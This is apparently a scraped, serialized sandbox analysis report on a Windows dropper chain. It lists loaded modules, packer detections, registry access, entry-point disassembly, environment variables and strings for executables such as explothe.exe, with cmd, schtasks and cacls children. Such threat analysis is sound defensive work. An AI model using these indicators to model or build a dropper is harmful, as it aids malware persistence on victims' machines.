loaded module "RPCRT4.DLL" at base 75e00000 "explothe.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2" at base 0 "explothe.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 72dc0000 "explothe.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 0 "explothe.exe" loaded module "KERNEL32" at base 75c30000 "explothe.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 0 "explothe.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 6d0c000047:T4c4,"file.exe" loaded module "%WINDIR%\System32\rpcrt4.dll" at 75E00000 "Vo8ml85.exe" loaded module "%WINDIR%\System32\rpcrt4.dll" at 75E00000 "aM0RY76.exe" loaded module "%WINDIR%\System32\rpcrt4.dll" at 75E00000 "kx3Tv79.exe" loaded module "%WINDIR%\System32\rpcrt4.dll" at 75E00000 "FM0nA02.exe" loaded module "%WINDIR%\System32\rpcrt4.dll" at 75E00000 "1BC12Pi1.exe" loaded module "%WINDIR%\System32\rpcrt4.dll" at 75E00000 "2Aq2815.exe" loaded module "%WINDIR%\System32\rpcrt4.dll" at 75E00000 "3Hh02Er.exe" loaded module "%WINDIR%\System32\rpcrt4.dll" at 75E00000 "AppLaunch.exe" loaded module "%WINDIR%\System32\rpcrt4.dll" at 75E00000 "4nL947Ei.exe" loaded module "%WINDIR%\System32\rpcrt4.dll" at 75E00000 "5VA7se4.exe" loaded module "%WINDIR%\System32\rpcrt4.dll" at 75E00000 "explothe.exe" loaded module "%WINDIR%\System32\rpcrt4.dll" at 75E00000 "6hE6Ue0.exe" loaded module "%WINDIR%\System32\rpcrt4.dll" at 75E00000 "cmd.exe" loaded module "%WINDIR%\System32\rpcrt4.dll" at 75E00000 "schtasks.exe" loaded module "%WINDIR%\System32\rpcrt4.dll" at 75E00000 "cacls.exe" loaded module "%WINDIR%\System32\rpcrt4.dll" at 75E00000 "rundll32.exe" loaded module "%WINDIR%\System32\rpcrt4.dll" at 75E0000048:T115e,"file" was detected as "Microsoft Cabinet" and name: "sfx" "file" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "file" was detected as "Microsoft Visual C/C++" and name: "Compiler" "file" was detected as "Microsoft Cabinet File" and name: "Archive" "file" was detected as "Microsoft Linker" and name: "Linker" "Vo8ml85.exe" was detected as "Microsoft Cabinet" and name: "sfx" "Vo8ml85.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "Vo8ml85.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "Vo8ml85.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "Vo8ml85.exe" was detected as "Microsoft Linker" and name: "Linker" "4nL947Ei.exe" was detected as "Microsoft Cabinet" and name: "sfx" "4nL947Ei.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "4nL947Ei.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "4nL947Ei.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "4nL947Ei.exe" was detected as "Microsoft Linker" and name: "Linker" "aM0RY76.exe" was detected as "Microsoft Cabinet" and name: "sfx" "aM0RY76.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "aM0RY76.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "aM0RY76.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "aM0RY76.exe" was detected as "Microsoft Linker" and name: "Linker" "3Hh02Er.exe" was detected as "Microsoft Cabinet" and name: "sfx" "3Hh02Er.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "3Hh02Er.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "3Hh02Er.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "3Hh02Er.exe" was detected as "Microsoft Linker" and name: "Linker" "kx3Tv79.exe" was detected as "Microsoft Cabinet" and name: "sfx" "kx3Tv79.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "kx3Tv79.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "kx3Tv79.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "kx3Tv79.exe" was detected as "Microsoft Linker" and name: "Linker" "FM0nA02.exe" was detected as "Microsoft Cabinet" and name: "sfx" "FM0nA02.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "FM0nA02.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "FM0nA02.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "FM0nA02.exe" was detected as "Microsoft Linker" and name: "Linker" "5VA7se4.exe" was detected as "Microsoft Cabinet" and name: "sfx" "5VA7se4.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "5VA7se4.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "5VA7se4.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "5VA7se4.exe" was detected as "Microsoft Linker" and name: "Linker" "1BC12Pi1.exe" was detected as "Microsoft Cabinet" and name: "sfx" "1BC12Pi1.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "1BC12Pi1.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "1BC12Pi1.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "1BC12Pi1.exe" was detected as "Microsoft Linker" and name: "Linker" "2Aq2815.exe" was detected as "Microsoft Cabinet" and name: "sfx" "2Aq2815.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "2Aq2815.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "2Aq2815.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "2Aq2815.exe" was detected as "Microsoft Linker" and name: "Linker" "clip.dll" was detected as "Microsoft Cabinet" and name: "sfx" "clip.dll" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "clip.dll" was detected as "Microsoft Visual C/C++" and name: "Compiler" "clip.dll" was detected as "Microsoft Cabinet File" and name: "Archive" "clip.dll" was detected as "Microsoft Linker" and name: "Linker" "6hE6Ue0.exe" was detected as "Microsoft Cabinet" and name: "sfx" "6hE6Ue0.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "6hE6Ue0.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "6hE6Ue0.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "6hE6Ue0.exe" was detected as "Microsoft Linker" and name: "Linker"49:T1253,"2Aq2815.exe" touched "NetworkListManager" (Path: "HKCU\CLSID\{DCB00C01-570F-4A9B-8D69-199FDBA5723B}") "2Aq2815.exe" touched "Network List Manager" (Path: "HKCU\CLSID\{A47979D2-C419-11D9-A5B4-001185AD2B89}") "2Aq2815.exe" touched "PSFactoryBuffer" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{1299CF18-C4F5-4B6A-BB0F-2299F0398E27}") "AppLaunch.exe" touched "WBEM Locator" (Path: "HKCU\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\INPROCSERVER32") "AppLaunch.exe" touched "Windows Management and Instrumentation" (Path: "HKCU\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}") "AppLaunch.exe" touched "Microsoft WBEM (non)Standard Marshaling for IEnumWbemClassObject" (Path: "HKCU\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\TREATAS") "AppLaunch.exe" touched "WbemDefaultPathParser" (Path: "HKCU\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\INPROCSERVER32") "AppLaunch.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemServices" (Path: "HKCU\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\TREATAS") "5VA7se4.exe" touched "Computer" (Path: "HKCU\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER") "5VA7se4.exe" touched "Memory Mapped Cache Mgr" (Path: "HKCU\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}") "5VA7se4.exe" touched "UsersFiles" (Path: "HKCU\CLSID\{59031A47-3F72-44A7-89C5-5595FE6B30EE}\SHELLFOLDER") "5VA7se4.exe" touched "Property System Both Class Factory" (Path: "HKCU\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}") "5VA7se4.exe" touched "delegate folder that appears in Users Files Folder" (Path: "HKCU\CLSID\{DFFACDC5-679F-4156-8947-C5C76BC0B67F}\SHELLFOLDER") "5VA7se4.exe" touched "Shell File System Folder" (Path: "HKCU\CLSID\{0E5AAE11-A475-4C5B-AB00-C66DE400274E}\INPROCSERVER32") "5VA7se4.exe" touched "Security Manager" (Path: "HKCU\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}\TREATAS") "explothe.exe" touched "WinInetBroker Class" (Path: "HKCU\CLSID\{C39EE728-D419-4BD4-A3EF-EDA059DBD935}\LOCALSERVER32") "explothe.exe" touched "Network" (Path: "HKCU\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\SHELLFOLDER") "explothe.exe" touched "Recycle Bin" (Path: "HKCU\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\SHELLFOLDER") "explothe.exe" touched "Control Panel" (Path: "HKCU\CLSID\{26EE0668-A00A-44D7-9371-BEB064C98683}\SHELLFOLDER") "explothe.exe" touched "UsersLibraries" (Path: "HKCU\CLSID\{031E4825-7B94-4DC3-B131-E946B44C8DD5}\SHELLFOLDER") "explothe.exe" touched "CLSID_SearchFolder" (Path: "HKCU\CLSID\{04731B67-D933-450A-90E6-4ACD2E9408FE}\SHELLFOLDER") "explothe.exe" touched "Microsoft OneNote Namespace Extension for Windows Desktop Search" (Path: "HKCU\CLSID\{0875DCB6-C686-4243-9432-ADCCF0B9F2D7}\SHELLFOLDER") "explothe.exe" touched "IE History and Feeds Shell Data Source for Windows Search" (Path: "HKCU\CLSID\{11016101-E366-4D22-BC06-4ADA335C892B}\SHELLFOLDER") "explothe.exe" touched "@C:\Program Files (x86)\Microsoft Office\Office15\MAPISHELL.DLL,-110" (Path: "HKCU\CLSID\{138508BC-1E03-49EA-9C8F-EA9E1D05D65D}\SHELLFOLDER") "explothe.exe" touched "Public Folder" (Path: "HKCU\CLSID\{4336A54D-038B-4685-AB02-99BB52D3FB8B}\SHELLFOLDER") "explothe.exe" touched "Control Panel command object for Start menu and desktop" (Path: "HKCU\CLSID\{5399E694-6CE5-4D6C-8FCE-1D8870FDCBA0}\SHELLFOLDER") "explothe.exe" touched "@%systemroot%\system32\mssvp.dll,-110" (Path: "HKCU\CLSID\{89D83576-6BD1-4C86-9454-BEB04E94C819}\SHELLFOLDER") "explothe.exe" touched "CLSID_SearchHome" (Path: "HKCU\CLSID\{9343812E-1C37-4A49-A12E-4B2D810D956B}\SHELLFOLDER") "explothe.exe" touched "Windows Search Service Media Center Namespace Extension Handler" (Path: "HKCU\CLSID\{98D99750-0B8A-4C59-9151-589053683D73}\SHELLFOLDER") "explothe.exe" touched "Other Users Folder" (Path: "HKCU\CLSID\{B4FB3F98-C1EA-428D-A78A-D1F5659CBA93}\SHELLFOLDER") "explothe.exe" touched "@%systemroot%\system32\mssvp.dll,-112" (Path: "HKCU\CLSID\{BD7A2E7B-21CB-41B2-A086-B309680C6B7E}\SHELLFOLDER") "explothe.exe" touched "CLSID_StartMenuProviderFolder" (Path: "HKCU\CLSID\{DAF95313-E44D-46AF-BE1B-CBACEA2C3065}\SHELLFOLDER") "explothe.exe" touched "CLSID_StartMenuPathCompleteProviderFolder" (Path: "HKCU\CLSID\{E345F35F-9397-435C-8F95-4E922C26259E}\SHELLFOLDER") "explothe.exe" touched "Games Explorer" (Path: "HKCU\CLSID\{ED228FDF-9EA8-4870-83B1-96B02CFE0D52}\SHELLFOLDER") "explothe.exe" touched "Computers and Devices" (Path: "HKCU\CLSID\{F02C1A0D-BE21-4350-88B0-7367FC96EF3C}\SHELLFOLDER") "explothe.exe" touched "Sticky Notes Namespace Extension for Windows Desktop Search" (Path: "HKCU\CLSID\{F3F5824C-AD58-4728-AF59-A1EBE3392799}\SHELLFOLDER") "cmd.exe" touched "Application Registration" (Path: "HKCU\CLSID\{591209C7-767B-42B2-9FBA-44EE4615F2C7}")4a:T1940,"file" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "Vo8ml85.exe" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "4nL947Ei.exe" file has an entrypoint instructions - "jmp 0x44a090,jmp 0x4611c4,jmp 0x452690,jmp 0x43e229,jmp 0x42a03b,jmp 0x4ad040,jmp 0x43e6e7,jmp 0x461fa7,jmp 0x414ef0,jmp 0x4b4969,jmp 0x424d0e,jmp 0x44ac80,jmp 0x423949,jmp 0x45b030,jmp 0x43502b,jmp 0x45c466,jmp 0x4263a8,jmp 0x422a06,jmp 0x49ad5f,jmp 0x418320," "aM0RY76.exe" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "3Hh02Er.exe" file has an entrypoint instructions - "jmp 0x44a0a0,jmp 0x4611d4,jmp 0x4526a0,jmp 0x43e239,jmp 0x42a04b,jmp 0x4ad050,jmp 0x43e6f7,jmp 0x461fb7,jmp 0x414ef0,jmp 0x4b4979,jmp 0x424d1e,jmp 0x44ac90,jmp 0x423959,jmp 0x45b040,jmp 0x43503b,jmp 0x45c476,jmp 0x4263b8,jmp 0x422a16,jmp 0x49ad6f,jmp 0x418320," "kx3Tv79.exe" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "FM0nA02.exe" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "5VA7se4.exe" file has an entrypoint instructions - "call 0x414888,jmp 0x41427f,jmp 0x4186fa,push ebp,mov ebp, esp,sub esp, 0x324,push ebx,push 0x17,call 0x4273e3,test eax, eax,je 0x41442a,mov ecx, dword ptr [ebp + 8],int 0x29,push 3,call 0x4145d7,mov dword ptr [esp], 0x2cc,lea eax, [ebp - 0x324],push 0,push eax,call 0x414ec0,add esp, 0xc,mov dword ptr [ebp - 0x274], eax,mov dword ptr [ebp - 0x278], ecx,mov dword ptr [ebp - 0x27c], edx,mov dword ptr [ebp - 0x280], ebx," "1BC12Pi1.exe" file has an entrypoint instructions - "call 0x412a15,jmp 0x40cbdd,mov edi, edi,push ebp,mov ebp, esp,sub esp, 0x20,mov eax, dword ptr [ebp + 8],push esi,push edi,push 8,pop ecx,mov esi, 0x41f058,lea edi, [ebp - 0x20],rep movsd dword ptr es:[edi], dword ptr [esi],mov dword ptr [ebp - 8], eax,mov eax, dword ptr [ebp + 0xc],pop edi,mov dword ptr [ebp - 4], eax,pop esi,test eax, eax,je 0x40cd6e,test byte ptr [eax], 8,je 0x40cd6e,mov dword ptr [ebp - 0xc], 0x1994000,lea eax, [ebp - 0xc],push eax,push dword ptr [ebp - 0x10],push dword ptr [ebp - 0x1c],push dword ptr [ebp - 0x20],call dword ptr [0x41b000],leave ,ret 8,ret ,mov eax, 0x413563,mov dword ptr [0x4228e4], eax," "2Aq2815.exe" file has an entrypoint instructions - "call 0x4014e9,jmp 0x4010c5,push ebp,mov ebp, esp,mov eax, dword ptr [ebp + 8],push esi,mov ecx, dword ptr [eax + 0x3c],add ecx, eax,movzx eax, word ptr [ecx + 0x14],lea edx, [ecx + 0x18],add edx, eax,movzx eax, word ptr [ecx + 6],imul esi, eax, 0x28,add esi, edx,cmp edx, esi,je 0x401286,mov ecx, dword ptr [ebp + 0xc],cmp ecx, dword ptr [edx + 0xc],jb 0x40127f,mov eax, dword ptr [edx + 8],add eax, dword ptr [edx + 0xc],cmp ecx, eax,jb 0x40128b,add edx, 0x28,cmp edx, esi,jne 0x401270,xor eax, eax,pop esi,pop ebp,ret ,mov eax, edx,jmp 0x401288,push esi,call 0x401a29,test eax, eax,je 0x4012b9,mov eax, dword ptr fs:[0x18],mov esi, 0x42bd74," "clip.dll" file has an entrypoint instructions - "push ebp,mov ebp, esp,cmp dword ptr [ebp + 0xc], 1,jne 0x10003e0e,call 0x100041f9,push dword ptr [ebp + 0x10],push dword ptr [ebp + 0xc],push dword ptr [ebp + 8],call 0x10003ccf,add esp, 0xc,pop ebp,ret 0xc,jmp 0x10006e36,push ebp,mov ebp, esp,sub esp, 0xc,lea ecx, [ebp - 0xc],call 0x100035f8,push 0x10014590,lea eax, [ebp - 0xc],push eax,call 0x10004497,int3 ,push ebp,mov ebp, esp,and dword ptr [0x10016a48], 0,sub esp, 0x24,or dword ptr [0x10016004], 1,push 0xa,call 0x1000e0c7,test eax, eax," "6hE6Ue0.exe" file has an entrypoint instructions - "pushal ,mov esi, 0x412015,lea edi, [esi - 0x11015],push edi,mov ebp, esp,lea ebx, [esp - 0x3e80],xor eax, eax,push eax,cmp esp, ebx,jne 0x41bca8,inc esi,inc esi,push ebx,push 0x19a62,push edi,add ebx, 4,push ebx,push 0x9c78,push esi,add ebx, 4,push ebx,push eax,mov dword ptr [ebx], 0x20003,push ebp,push edi,push esi,push ebx,sub esp, 0x7c,mov edx, dword ptr [esp + 0x90],mov dword ptr [esp + 0x74], 0,mov byte ptr [esp + 0x73], 0,mov ebp, dword ptr [esp + 0x9c],lea eax, [edx + 4],mov dword ptr [esp + 0x78], eax,"4b:Tc78,Process "Vo8ml85.exe" (UID: 00000000-00002464) was launched with new environment variables: "__COMPAT_LAYER="ElevateCreateProcess WRPMitigationLayer"" Process "cmd.exe" (UID: 00000000-00002412) was launched with new environment variables: "b2eincfilepath="%TEMP%\IXP000.TMP"" Process "schtasks.exe" (UID: 00000000-00002944) was launched with missing environment variables: "b2eincfilepath" Process "cmd.exe" (UID: 00000000-00003044) was launched with new environment variables: "PROMPT="$P$G"" Process "iexplore.exe" (UID: 00000000-00000176) was launched with new environment variables: "b2eincfilepath="%TEMP%\IXP000.TMP"" Process "iexplore.exe" (UID: 00000000-00000176) was launched with modified environment variables: "Path" Process "cacls.exe" (UID: 00000000-00003500) was launched with modified environment variables: "Path" Process "cacls.exe" (UID: 00000000-00003500) was launched with missing environment variables: "b2eincfilepath" Process "iexplore.exe" (UID: 00000000-00001756) was launched with new environment variables: "b2eincfilepath="%TEMP%\IXP000.TMP"" Process "iexplore.exe" (UID: 00000000-00001756) was launched with modified environment variables: "Path" Process "explothe.exe" (UID: 00000000-00003436) was launched with modified environment variables: "Path" Process "explothe.exe" (UID: 00000000-00003436) was launched with missing environment variables: "PROMPT, __COMPAT_LAYER, b2eincfilepath" Process "iexplore.exe" (UID: 00000000-00003780) was launched with new environment variables: "PROMPT="$P$G", __COMPAT_LAYER="ElevateCreateProcess WRPMitigationLayer", b2eincfilepath="%TEMP%\IXP000.TMP"" Process "iexplore.exe" (UID: 00000000-00003780) was launched with modified environment variables: "Path" Process "cacls.exe" (UID: 00000000-00002388) was launched with modified environment variables: "Path" Process "cacls.exe" (UID: 00000000-00002388) was launched with missing environment variables: "b2eincfilepath" Process "iexplore.exe" (UID: 00000000-00002824) was launched with new environment variables: "b2eincfilepath="%TEMP%\IXP000.TMP"" Process "iexplore.exe" (UID: 00000000-00002824) was launched with modified environment variables: "Path" Process "cmd.exe" (UID: 00000000-00000884) was launched with modified environment variables: "Path" Process "cmd.exe" (UID: 00000000-00000884) was launched with missing environment variables: "b2eincfilepath" Process "iexplore.exe" (UID: 00000000-00001864) was launched with new environment variables: "b2eincfilepath="%TEMP%\IXP000.TMP"" Process "iexplore.exe" (UID: 00000000-00001864) was launched with modified environment variables: "Path" Process "cacls.exe" (UID: 00000000-00000960) was launched with modified environment variables: "Path" Process "cacls.exe" (UID: 00000000-00000960) was launched with missing environment variables: "b2eincfilepath" Process "rundll32.exe" (UID: 00000000-00002580) was launched with missing environment variables: "PROMPT" Process "cacls.exe" (UID: 00000000-00002696) was launched with new environment variables: "PROMPT="$P$G"" Process "explothe.exe" (UID: 00000000-00001068) was launched with missing environment variables: "PROMPT, __COMPAT_LAYER"4c:T7c2,"file.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "file.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "Vo8ml85.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "Vo8ml85.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "aM0RY76.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "aM0RY76.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "kx3Tv79.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "kx3Tv79.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "FM0nA02.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "FM0nA02.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "1BC12Pi1.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "1BC12Pi1.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "1BC12Pi1.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "1BC12Pi1.exe" (Path: "HKCU\CONTROL PANEL\INTERNATIONAL"; Key: "LOCALENAME") "2Aq2815.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "2Aq2815.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "3Hh02Er.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "3Hh02Er.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "AppLaunch.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "AppLaunch.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "4nL947Ei.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "4nL947Ei.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US")4d:Tf02,Observed system executable string:"C:\Windows\system32\apphelp.dll" [Source: 00003964.00000F7C.10036313417861179.00050000.wprm] Observed system executable string:"%WINDIR%\system32\advpack.dll" [Source: 00000000-00002448-00000C25-31509509] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP000.TMP\"" [Source: 00000000-00002448-00000BC1-31530714] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP001.TMP\"" [Source: 00000000-00002464-00000BC1-25069563] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP002.TMP\"" [Source: 00000000-00003844-00000BC1-32708699] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP003.TMP\"" [Source: 00000000-00003636-00000BC1-26265190] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP004.TMP\"" [Source: 00000000-00003964-00000BC1-34097281] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll" [Source: 00000000-00001536-00000C25-27934406] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll" [Source: 00000000-00001536-00000C25-28719542] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00001536-00000C25-29231151] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll" [Source: 00000000-00001536-00000C25-29513435] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" [Source: 00000000-00001536-00000C25-29566240] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll" [Source: 00000000-00001536-00000C25-29653475] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" [Source: 00000000-00001536-00000C25-29891373] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll" [Source: 00000000-00001536-00000C25-30053281] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Drawing\f7568d7f1b9d356f64779b4c0927cfb3\System.Drawing.ni.dll" [Source: 00000000-00001536-00000C25-30184827] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Windows.Forms\c9a4cbc00f690a9e3cddfc400f6e85bb\System.Windows.Forms.ni.dll" [Source: 00000000-00001536-00000C25-30229512] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\nlssorting.dll" [Source: 00000000-00001536-00000C25-30292174] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" [Source: 00000000-00001536-00000C25-30472510] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" [Source: 00000000-00001536-00000C25-30662051] Observed system executable string:"%WINDIR%\system32\en-US\tzres.dll.mui" [Source: 00000000-00001536-00000C25-30740944] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" [Source: 00000000-00001536-00000C25-31905046] Observed system executable string:"%WINDIR%\system32\uxtheme.dll" [Source: 00000000-00001536-00000C25-34462354] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" [Source: 00000000-00001536-00000C25-36385962] Observed system executable 